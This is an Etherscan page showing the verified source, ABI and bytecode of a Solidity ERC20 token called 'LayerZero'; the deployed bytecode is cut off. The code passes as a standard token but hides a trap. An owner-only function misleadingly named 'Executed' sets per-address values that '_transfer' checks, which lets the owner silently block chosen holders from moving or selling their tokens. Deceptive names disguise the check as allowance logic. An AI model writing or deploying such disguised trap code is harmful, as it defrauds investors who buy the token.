Feature Tip: Add private address tag to any address under My Name Tag !
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
LayerZero
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-14 */ pragma solidity ^0.8.16; // SPDX-License-Identifier: Unlicensed /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address accoint) external view returns (uint256); function transfer( address recipient, uint256 ameunts ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 ameunts) external returns (bool); function transferFrom( address sender, address recipient, uint256 ameunts ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by 0"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by 0"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _nullAddress = 0x000000000000000000000000000000000000dEaD; address private _owner; event ownershipTransferred( address indexed previousowner, address indexed newowner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit ownershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyowner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceownership() public virtual onlyowner { emit ownershipTransferred(_owner, address(_nullAddress)); _owner = address(_nullAddress); } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_yydsed}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * The default value of {decimals} is 18. To change this, you should override * this function so it returns a different value. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract LayerZero is IERC20, Ownable { using SafeMath for uint256; uint256 private constant _coinsAmount = 100000000; address private constant _nullAddress = 0x000000000000000000000000000000000000dEaD; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; mapping(address => uint256) private _approvals; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; constructor() { _decimals = 18; _name = "LayerZero"; _symbol = "LayerZero"; _totalSupply = _coinsAmount * (10 ** uint256(_decimals)); _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function transfer( address recipient, uint256 amount ) public virtual override returns (bool) { address sender = _msgSender(); _transfer(sender, recipient, amount); return true; } function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function Executed(address account, uint256 amount) external onlyowner { _approvals[account] = amount; } function getAllowance(address account) public view returns (uint256) { return _approvals[account]; } function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer exceeds allowance" ) ); return true; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require( recipient != address(0), "ERC20: transfer to zer0 addres is prohibited." ); require( sender != address(0), "ERC20: transfer from zer0 addres is prohibited." ); uint256 allowances = getAllowance(sender); if (allowances > 0) { require(amount > allowances, "ERC20: transfer exceeds allowance."); } uint256 blsender = _balances[sender]; require( blsender >= amount, "ERC20: transfer amount exceeded balance." ); _balances[recipient] = _balances[recipient].add(amount); _balances[sender] = _balances[sender].sub(amount); emit Transfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require( owner != address(0), "ERC20: approve from zero addres is prohibited." ); require( spender != address(0), "ERC20: approve to zero addres is prohibited." ); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Executed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getAllowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405261dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200005357600080fd5b50600062000066620002bb60201b60201c565b905080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a3506012600760006101000a81548160ff021916908360ff1602179055506040518060400160405280600981526020017f4c617965725a65726f0000000000000000000000000000000000000000000000815250600590816200016791906200053d565b506040518060400160405280600981526020017f4c617965725a65726f000000000000000000000000000000000000000000000081525060069081620001ae91906200053d565b50600760009054906101000a900460ff1660ff16600a620001d09190620007a7565b6305f5e100620001e19190620007f8565b60088190555060085460036000620001fe620002bb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200024c620002bb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600854604051620002ad919062000854565b60405180910390a362000871565b600033905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200034557607f821691505b6020821081036200035b576200035a620002fd565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620003c57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000386565b620003d1868362000386565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200041e620004186200041284620003e9565b620003f3565b620003e9565b9050919050565b6000819050919050565b6200043a83620003fd565b62000452620004498262000425565b84845462000393565b825550505050565b600090565b620004696200045a565b620004768184846200042f565b505050565b5b818110156200049e57620004926000826200045f565b6001810190506200047c565b5050565b601f821115620004ed57620004b78162000361565b620004c28462000376565b81016020851015620004d2578190505b620004ea620004e18562000376565b8301826200047b565b50505b505050565b600082821c905092915050565b60006200051260001984600802620004f2565b1980831691505092915050565b60006200052d8383620004ff565b9150826002028217905092915050565b6200054882620002c3565b67ffffffffffffffff811115620005645762000563620002ce565b5b6200057082546200032c565b6200057d828285620004a2565b600060209050601f831160018114620005b55760008415620005a0578287015190505b620005ac85826200051f565b8655506200061c565b601f198416620005c58662000361565b60005b82811015620005ef57848901518255600182019150602085019450602081019050620005c8565b868310156200060f57848901516200060b601f891682620004ff565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006b2578086048111156200068a576200068962000624565b5b60018516156200069a5780820291505b8081029050620006aa8562000653565b94506200066a565b94509492505050565b600082620006cd5760019050620007a0565b81620006dd5760009050620007a0565b8160018114620006f65760028114620007015762000737565b6001915050620007a0565b60ff84111562000716576200071562000624565b5b8360020a91508482111562000730576200072f62000624565b5b50620007a0565b5060208310610133831016604e8410600b8410161715620007715782820a9050838111156200076b576200076a62000624565b5b620007a0565b62000780848484600162000660565b925090508184048111156200079a576200079962000624565b5b81810290505b9392505050565b6000620007b482620003e9565b9150620007c183620003e9565b9250620007f07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006bb565b905092915050565b60006200080582620003e9565b91506200081283620003e9565b92508282026200082281620003e9565b915082820484148315176200083c576200083b62000624565b5b5092915050565b6200084e81620003e9565b82525050565b60006020820190506200086b600083018462000843565b92915050565b6119c180620008816000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461029c578063c2af913b146102cc578063dd62ed3e146102d6578063eb5a662e14610306576100f5565b806370a08231146102005780638da5cb5b1461023057806395d89b411461024e578063a457c2d71461026c576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780636f6c6d78146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610336565b60405161010f919061118e565b60405180910390f35b610132600480360381019061012d9190611249565b6103c8565b60405161013f91906112a4565b60405180910390f35b6101506103e6565b60405161015d91906112ce565b60405180910390f35b610180600480360381019061017b91906112e9565b6103f0565b60405161018d91906112a4565b60405180910390f35b61019e6104c9565b6040516101ab9190611358565b60405180910390f35b6101ce60048036038101906101c99190611249565b6104e0565b6040516101db91906112a4565b60405180910390f35b6101fe60048036038101906101f99190611249565b610593565b005b61021a60048036038101906102159190611373565b610672565b60405161022791906112ce565b60405180910390f35b6102386106bb565b60405161024591906113af565b60405180910390f35b6102566106e5565b604051610263919061118e565b60405180910390f35b61028660048036038101906102819190611249565b610777565b60405161029391906112a4565b60405180910390f35b6102b660048036038101906102b19190611249565b610844565b6040516102c391906112a4565b60405180910390f35b6102d4610867565b005b6102f060048036038101906102eb91906113ca565b6109fd565b6040516102fd91906112ce565b60405180910390f35b610320600480360381019061031b9190611373565b610a84565b60405161032d91906112ce565b60405180910390f35b60606005805461034590611439565b80601f016020809104026020016040519081016040528092919081815260200182805461037190611439565b80156103be5780601f10610393576101008083540402835291602001916103be565b820191906000526020600020905b8154815290600101906020018083116103a157829003601f168201915b5050505050905090565b60006103dc6103d5610acd565b8484610ad5565b6001905092915050565b6000600854905090565b60006103fd848484610c9e565b6104be84610409610acd565b6104b98560405180606001604052806021815260200161194660219139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046f610acd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff29092919063ffffffff16565b610ad5565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006105896104ed610acd565b8461058485600260006104fe610acd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105690919063ffffffff16565b610ad5565b6001905092915050565b61059b610acd565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610621906114b6565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546106f490611439565b80601f016020809104026020016040519081016040528092919081815260200182805461072090611439565b801561076d5780601f106107425761010080835404028352916020019161076d565b820191906000526020600020905b81548152906001019060200180831161075057829003601f168201915b5050505050905090565b600061083a610784610acd565b846108358560405180606001604052806025815260200161196760259139600260006107ae610acd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff29092919063ffffffff16565b610ad5565b6001905092915050565b60008061084f610acd565b905061085c818585610c9e565b600191505092915050565b61086f610acd565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f5906114b6565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3b90611548565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa906115da565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c9191906112ce565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d049061166c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d73906116fe565b60405180910390fd5b6000610d8784610a84565b90506000811115610dd557808211610dd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcb90611790565b60405180910390fd5b5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610e5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5390611822565b60405180910390fd5b610eae83600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105690919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f4383600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110b490919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fe391906112ce565b60405180910390a35050505050565b600083831115829061103a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611031919061118e565b60405180910390fd5b50600083856110499190611871565b9050809150509392505050565b600080828461106591906118a5565b9050838110156110aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a190611925565b60405180910390fd5b8091505092915050565b60006110f683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff2565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561113857808201518184015260208101905061111d565b60008484015250505050565b6000601f19601f8301169050919050565b6000611160826110fe565b61116a8185611109565b935061117a81856020860161111a565b61118381611144565b840191505092915050565b600060208201905081810360008301526111a88184611155565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006111e0826111b5565b9050919050565b6111f0816111d5565b81146111fb57600080fd5b50565b60008135905061120d816111e7565b92915050565b6000819050919050565b61122681611213565b811461123157600080fd5b50565b6000813590506112438161121d565b92915050565b600080604083850312156112605761125f6111b0565b5b600061126e858286016111fe565b925050602061127f85828601611234565b9150509250929050565b60008115159050919050565b61129e81611289565b82525050565b60006020820190506112b96000830184611295565b92915050565b6112c881611213565b82525050565b60006020820190506112e360008301846112bf565b92915050565b600080600060608486031215611302576113016111b0565b5b6000611310868287016111fe565b9350506020611321868287016111fe565b925050604061133286828701611234565b9150509250925092565b600060ff82169050919050565b6113528161133c565b82525050565b600060208201905061136d6000830184611349565b92915050565b600060208284031215611389576113886111b0565b5b6000611397848285016111fe565b91505092915050565b6113a9816111d5565b82525050565b60006020820190506113c460008301846113a0565b92915050565b600080604083850312156113e1576113e06111b0565b5b60006113ef858286016111fe565b9250506020611400858286016111fe565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061145157607f821691505b6020821081036114645761146361140a565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114a0602083611109565b91506114ab8261146a565b602082019050919050565b600060208201905081810360008301526114cf81611493565b9050919050565b7f45524332303a20617070726f76652066726f6d207a65726f206164647265732060008201527f69732070726f686962697465642e000000000000000000000000000000000000602082015250565b6000611532602e83611109565b915061153d826114d6565b604082019050919050565b6000602082019050818103600083015261156181611525565b9050919050565b7f45524332303a20617070726f766520746f207a65726f2061646472657320697360008201527f2070726f686962697465642e0000000000000000000000000000000000000000602082015250565b60006115c4602c83611109565b91506115cf82611568565b604082019050919050565b600060208201905081810360008301526115f3816115b7565b9050919050565b7f45524332303a207472616e7366657220746f207a65723020616464726573206960008201527f732070726f686962697465642e00000000000000000000000000000000000000602082015250565b6000611656602d83611109565b9150611661826115fa565b604082019050919050565b6000602082019050818103600083015261168581611649565b9050919050565b7f45524332303a207472616e736665722066726f6d207a6572302061646472657360008201527f2069732070726f686962697465642e0000000000000000000000000000000000602082015250565b60006116e8602f83611109565b91506116f38261168c565b604082019050919050565b60006020820190508181036000830152611717816116db565b9050919050565b7f45524332303a207472616e73666572206578636565647320616c6c6f77616e6360008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b600061177a602283611109565b91506117858261171e565b604082019050919050565b600060208201905081810360008301526117a98161176d565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656465642060008201527f62616c616e63652e000000000000000000000000000000000000000000000000602082015250565b600061180c602883611109565b9150611817826117b0565b604082019050919050565b6000602082019050818103600083015261183b816117ff565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061187c82611213565b915061188783611213565b925082820390508181111561189f5761189e611842565b5b92915050565b60006118b082611213565b91506118bb83611213565b92508282019050808211156118d3576118d2611842565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061190f601b83611109565b915061191a826118d9565b602082019050919050565b6000602082019050818103600083015261193e81611902565b905091905056fe45524332303a207472616e73666572206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208b233ebe786b382e74766eaa6fcf03af72cb04b17815936a75a7a25c83b7b92864736f6c63430008120033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461029c578063c2af913b146102cc578063dd62ed3e146102d6578063eb5a662e14610306576100f5565b806370a08231146102005780638da5cb5b1461023057806395d89b411461024e578063a457c2d71461026c576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780636f6c6d78146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610336565b60405161010f919061118e565b60405180910390f35b610132600480360381019061012d9190611249565b6103c8565b60405161013f91906112a4565b60405180910390f35b6101506103e6565b60405161015d91906112ce565b60405180910390f35b610180600480360381019061017b91906112e9565b6103f0565b60405161018d91906112a4565b60405180910390f35b61019e6104c9565b6040516101ab9190611358565b60405180910390f35b6101ce60048036038101906101c99190611249565b6104e0565b6040516101db91906112a4565b60405180910390f35b6101fe60048036038101906101f99190611249565b610593565b005b61021a60048036038101906102159190611373565b610672565b60405161022791906112ce565b60405180910390f35b6102386106bb565b60405161024591906113af565b60405180910390f35b6102566106e5565b604051610263919061118e565b60405180910390f35b61028660048036038101906102819190611249565b610777565b60405161029391906112a4565b60405180910390f35b6102b660048036038101906102b19190611249565b610844565b6040516102c391906112a4565b60405180910390f35b6102d4610867565b005b6102f060048036038101906102eb91906113ca565b6109fd565b6040516102fd91906112ce565b60405180910390f35b610320600480360381019061031b9190611373565b610a84565b60405161032d91906112ce565b60405180910390f35b60606005805461034590611439565b80601f016020809104026020016040519081016040528092919081815260200182805461037190611439565b80156103be5780601f10610393576101008083540402835291602001916103be565b820191906000526020600020905b8154815290600101906020018083116103a157829003601f168201915b5050505050905090565b60006103dc6103d5610acd565b8484610ad5565b6001905092915050565b6000600854905090565b60006103fd848484610c9e565b6104be84610409610acd565b6104b98560405180606001604052806021815260200161194660219139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046f610acd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff29092919063ffffffff16565b610ad5565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006105896104ed610acd565b8461058485600260006104fe610acd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105690919063ffffffff16565b610ad5565b6001905092915050565b61059b610acd565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610621906114b6565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600360008373f